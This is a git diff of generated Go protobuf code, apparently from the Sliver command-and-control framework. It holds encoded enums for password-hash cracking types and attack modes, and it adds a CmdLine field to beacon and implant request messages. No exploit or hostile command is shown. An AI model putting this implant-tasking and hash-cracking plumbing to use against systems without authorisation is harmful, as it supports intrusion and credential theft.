0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, + 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, + 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, + 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, + 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, + 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, + 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, + 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, + 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, + 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, + 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, + 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, + 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, + 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, + 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, + 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, + 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, + 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, + 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, + 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, + 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, + 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, + 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, + 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, + 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, + 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, + 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, + 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, + 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, + 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, + 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, + 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, + 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, + 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, + 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, + 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, + 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, + 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, + 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, + 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, + 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, + 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, + 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, + 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, + 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, + 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, + 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, + 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, + 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, + 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, + 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, + 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, + 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, + 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, + 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, + 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, + 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, + 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, + 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, + 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, + 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, + 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, + 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, + 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, + 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, + 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, + 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, + 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, + 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, + 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, + 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, + 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, + 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, + 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, + 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, + 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, + 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, + 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, + 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, + 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, + 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, + 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, + 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, + 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, + 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, + 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, + 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, + 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, + 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, + 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, + 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, + 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, + 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, + 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, + 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, + 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, + 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, + 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, + 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, + 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, + 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, + 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, + 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, + 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, + 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, + 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, + 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, + 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, + 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, + 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, + 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, + 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, + 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, + 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, + 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, + 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, + 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, + 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, + 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, + 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, + 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, + 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, + 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, + 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, + 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, + 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, + 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, + 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, + 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, + 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, + 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, + 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, + 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, + 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index 6c8aab90dd..4249c740a4 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -143,6 +143,7 @@ message BeaconTask { bytes Request = 7; bytes Response = 8; string Description = 9; + repeated string CmdLine = 10; } message BeaconTasks { diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go index 0ebf02a837..9b124a7edd 100644 --- a/protobuf/commonpb/common.pb.go +++ b/protobuf/commonpb/common.pb.go @@ -64,10 +64,11 @@ type Request struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` - Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` - BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"` + Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"` + BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *Request) Reset() { @@ -130,6 +131,13 @@ func (x *Request) GetSessionID() string { return "" } +func (x *Request) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + // Response - Common fields used in all gRPC responses. Note that the Err field // // only used when the implant needs to return an error to the server. @@ -418,43 +426,45 @@ var File_commonpb_common_proto protoreflect.FileDescriptor var file_commonpb_common_proto_rawDesc = []byte{ 0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x73, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x54, - 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x54, 0x69, - 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, - 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 